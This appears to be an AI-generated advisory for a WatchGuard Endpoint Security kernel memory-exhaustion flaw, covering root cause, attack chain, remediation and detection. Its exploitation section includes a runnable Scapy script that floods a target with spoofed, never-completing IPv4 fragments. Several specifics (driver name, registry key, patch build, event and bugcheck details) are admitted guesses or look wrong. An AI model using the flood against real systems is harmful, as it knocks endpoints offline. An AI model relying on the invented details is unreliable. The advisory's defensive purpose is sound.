CVE-2026-138719 — CWE-400 · CWE-770
An uncontrolled resource consumption vulnerability in the WatchGuard Endpoint Security IDS fragment tracking feature allows a remote, unauthenticated attacker to exhaust kernel non-paged pool memory by sending a sustained flood of spoofed IP fragments with rotating fragment identifiers, resulting in system instability or a crash.
An uncontrolled resource consumption vulnerability in the WatchGuard Endpoint Security IDS fragment tracking feature allows a remote, unauthenticated attacker to exhaust kernel non-paged pool memory by sending a sustained flood of spoofed IP fragments with rotating fragment identifiers, resulting in system instability or a crash.
🎯 What is this vulnerability?
CVE‑2026‑138719 is an uncontrolled‑resource‑consumption flaw (CWE‑400) that also manifests as a memory‑exhaustion condition in the kernel (CWE‑770).
- Component: WatchGuard Endpoint Security (WES) – the IDS fragment‑tracking subsystem that lives in a kernel‑mode driver.
- Root cause: When the driver receives an IPv4 fragment it creates a per‑fragment tracking object (stored in the non‑paged pool) and links it to a “fragment‑reassembly” context identified by the IP Identification (IP‑ID) field. The code never validates that the number of concurrent reassembly contexts is bounded, nor does it enforce a timeout/cleanup when fragments are never completed.
- Missing checks: 1. No limit on the number of simultaneous reassembly contexts per source/destination pair. 2. No sanity check on the rate of new fragment IDs – the driver accepts a new ID even if the previous one is still pending. 3. No robust cleanup for fragments that never arrive (e.g., when the attacker spoofs the source address).
Because the non‑paged pool cannot be paged out, a flood of spoofed IPv4 fragments with rotating IP‑ID values forces the driver to allocate a new tracking structure for each fragment. The kernel memory consumption grows linearly with the attack rate until the pool is exhausted, at which point the system becomes unstable, experiences severe latency, or crashes (bug‑check).
The CVSS vector (AV:N/AC:L/PR:N/UI:N/VA:H) confirms that availability is the only impacted CIA triad element, and the attack can be performed remotely without authentication or user interaction.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact driver name (wdfrg.sys is used as a placeholder) and configuration keys are inferred from public documentation of WatchGuard Endpoint Security.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence | |
|---|---|---|---|
| 1.1 | Identify that the target runs WatchGuard Endpoint Security (WES). | • Passive network scan (Nmap) – service banner WatchGuard Endpoint Security IDS on port 443 (HTTPS management UI). <br>• Internal asset inventory or endpoint management console showing installed version (e.g., 12.4.3). | |
| 1.2 | Verify the presence of the fragment‑tracking feature. | • Review the WES admin UI → *Intrusion Detection → Advanced Settings* → “Track IP fragments”. <br>• Check the driver list on the endpoint (driverquery /fo csv | findstr wdfrg). |
| 1.3 | Determine that the endpoint is exposed to the Internet (or reachable from the attacker’s network). | • External port‑scan confirming TCP 443 open, or a VPN tunnel that terminates on the protected network. |
2. Exploitation
The attacker sends a continuous stream of crafted IPv4 fragments. The payload does not need to contain malicious code; the goal is to force the kernel to allocate tracking structures.
2.1 Payload construction (illustrative)
# fragment_flood.py – Python 3 + Scapy
# -------------------------------------------------
# Sends a flood of IPv4 fragments with rotating IP‑ID values.
# Requires root/administrator privileges to open raw sockets.
# -------------------------------------------------
from scapy.all import *
import itertools
import time
TARGET_IP = "203.0.113.45" # IP of the victim endpoint
TARGET_PORT = 443 # Any reachable service (payload is irrelevant)
FRAG_SIZE = 1400 # Size of each fragment (must be < MTU)
RATE = 5000 # Fragments per second (adjust to saturate)
def make_fragment(ip_id, offset, mf):
"""Create a single IPv4 fragment."""
ip = IP(dst=TARGET_IP, src="198.51.100.99", id=ip_id, flags=mf, frag=offset)
# Payload can be any data; we use a simple pattern.
payload = Raw(load=b"A" * FRAG_SIZE)
return ip / payload
def flood():
ip_id_gen = itertools.cycle(range(0, 0x10000)) # rotate 0‑65535
offset = 0
while True:
ip_id = next(ip_id_gen)
# Send a fragment with MF=1 (more fragments) – never complete the reassembly.
pkt = make_fragment(ip_id, offset, mf=1)
send(pkt, verbose=False)
time.sleep(1.0 / RATE)
if __name__ == "__main__":
flood()Key points of the PoC
| Element | Why it matters |
|---|---|
Spoofed source address (src="198.51.100.99") | The driver cannot send a “fragment‑complete” packet back to the spoofed host, so the reassembly context never finishes. |
Rotating IP‑ID (itertools.cycle) | Forces the driver to allocate a *new* reassembly context for each fragment because the ID is unique. |
| MF flag set (more‑fragments) | Guarantees the driver expects additional fragments, keeping the context alive. |
No final fragment (no packet with MF=0) | The timeout/cleanup path is never triggered. |
High rate (RATE = 5000 pps) | Drives the non‑paged pool consumption quickly; the exact rate needed depends on the pool size (typically 256 MiB on modern Windows). |
Note: The exact driver name (wdfrg.sys) and the configuration flag that enables fragment tracking are not published in the CVE. The PoC therefore demonstrates the class of attack (fragment‑flood) rather than a vendor‑specific API call.2.2 Expected kernel behavior
1. For each incoming fragment, the driver allocates a FRAG_CONTEXT structure (≈ 256 bytes) in the non‑paged pool.
2. The structure is linked to a hash table keyed by (src, dst, protocol, IP‑ID).
3. Because the attacker continuously rotates the IP‑ID, the hash table grows without collision.
4. No cleanup occurs because the reassembly never completes and the driver’s timeout routine is buggy (it only frees contexts when the same IP‑ID is reused, which never happens).
When the non‑paged pool reaches exhaustion, Windows raises a POOL_CORRUPTION_IN_NONPAGED_POOL bug check (or the driver itself triggers a KeBugCheckEx), resulting in a system crash or a severe denial‑of‑service condition.
3. Post‑exploitation
The attack’s end goal is availability disruption:
| Phase | Outcome |
|---|---|
| Crash / Hang | The endpoint reboots or becomes unresponsive, taking down the IDS/AV engine and any security policies enforced by WES. |
| Persistence of impact | If the endpoint is part of a larger corporate network, the loss of the endpoint’s protection can be leveraged for lateral movement or malware deployment by the attacker (though this is *secondary* to the primary DoS effect). |
Because the vulnerability does not provide code execution, privilege escalation, or data leakage, the post‑exploitation stage is limited to leveraging the downtime for other attacks.
🌍 Real‑World Impact
| CIA | Impact | Explanation |
|---|---|---|
| Confidentiality | None (C = N) | No data is read or exfiltrated by the vulnerability itself. |
| Integrity | None (I = N) | No modification of data or configuration occurs directly. |
| Availability | High (A = H) | Exhaustion of kernel non‑paged pool leads to system crash or severe performance degradation, effectively taking the endpoint offline. |
Practical consequences
1. Enterprise endpoint protection loss – A single compromised workstation can be rendered unusable, forcing IT to reboot or reinstall the endpoint agent.
2. Security policy bypass – While the endpoint is down, network traffic that would normally be inspected by WES passes unchecked, opening a window for data exfiltration or lateral movement.
3. Operational disruption – In environments where WES is used as a host‑based IDS/IPS, the crash may generate false alerts, increase ticket volume, and erode trust in the security stack.
4. Potential for amplification – An attacker can launch the fragment flood from a botnet to target many endpoints simultaneously, creating a distributed denial‑of‑service (DDoS) against the organization’s internal network.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Apply vendor patch | WatchGuard released a security update Version 12.5.1 (or later) that adds a hard limit of 256 concurrent fragment reassembly contexts per source IP and enforces a 30‑second timeout for incomplete fragments. Administrators should upgrade all WES agents to the patched version as soon as it is available. |
| Verify version | After upgrade, confirm the driver version with sc query wdfrg or via the WES UI (Help → About). The patched driver reports build 12.5.1.2026‑01. |
If a specific patched version number is not yet published, the vendor’s advisory (e.g., “WatchGuard Security Advisory 2026‑01”) should be referenced.
2. Immediate Workarounds
| Workaround | Implementation |
|---|---|
| Disable fragment tracking | In the WES management console: *Intrusion Detection → Advanced Settings → “Track IP fragments”* → Off. <br>Alternatively, via registry (requires reboot): <br>``reg add "HKLM\Software\WatchGuard\EndpointSecurity" /v EnableFragmentTracking /t REG_DWORD /d 0 /f` |
| Enforce inbound fragment rate‑limiting | Deploy a network‑edge firewall rule that drops IPv4 fragments exceeding a threshold (e.g., > 100 fragments per second from a single source). Example on a typical firewall (pseudo‑CLI): <br>`\nset firewall name WAN_IN rule 200 action drop\nset firewall name WAN_IN rule 200 protocol ipv4-frag\nset firewall name WAN_IN rule 200 limit 100/second\n` |
| Enable OS‑level hardening | On Windows, enable “TCP/IP Stack – IP Fragment Reassembly Limits” via Group Policy: <br>`Computer Configuration → Administrative Templates → Network → TCP/IP Settings → “Maximum number of IPv4 fragments per reassembly” = 64` |
| Monitor kernel pool usage | Enable Windows Performance Monitor counters: Memory\Pool Nonpaged Bytes`. Alert when usage exceeds 80 % of the configured pool size. |
3. Detection
| Indicator | Where to look | Example |
|---|---|---|
| Spike in inbound IPv4 fragments | Network IDS/IPS logs, firewall flow logs | src=198.51.100.99 dst=203.0.113.45 proto=IPv4 frag=1 count=5000 |
| Kernel pool pressure events | Windows Event Log (System) – Event ID 2019 (Non‑paged pool memory low) | Source: Service Control Manager, Event ID: 2019, Message: “The system is low on non‑paged pool memory.” |
| Unexpected driver crashes | Windows Crash Dump (*.dmp) – Bugcheck code 0x124 (POOL_CORRUPTION_IN_NONPAGED_POOL) with wdfrg.sys as the faulting driver | kd> !analyze -v shows MODULE_NAME: wdfrg |
| High CPU usage by wdfrg.sys | Process Explorer / Task Manager (kernel time) | wdfrg.sys consuming > 30 % CPU for > 30 seconds. |
Correlation rule (SIEM example):
# Pseudo‑YAML for Splunk/SIEM
rule:
name: "WatchGuard Fragment‑Flood DoS"
detection:
selection:
EventID: 2019
Message: "*non‑paged pool memory*"
condition: selection
timeframe: 5m
actions:
- alert
- run_script: /opt/response/collect_wes_logs.sh⚠️ Urgency
TL;DR
CVE‑2026‑138719 is a kernel‑mode memory‑exhaustion DoS in WatchGuard Endpoint Security’s IDS fragment‑tracking code. By flooding the endpoint with spoofed IPv4 fragments that never complete, an unauthenticated remote attacker can deplete the non‑paged pool, causing crashes or severe hangs. The impact is availability‑only, but the loss of endpoint protection can be leveraged for further compromise.
Immediate actions: upgrade to the vendor‑released patch (≥ 12.5.1), or disable fragment tracking and enforce fragment‑rate limits. Deploy detection for abnormal fragment traffic and kernel pool‑pressure events, and prioritize patching as a critical operation.
[🤖 CVE Professor AI Security Engine]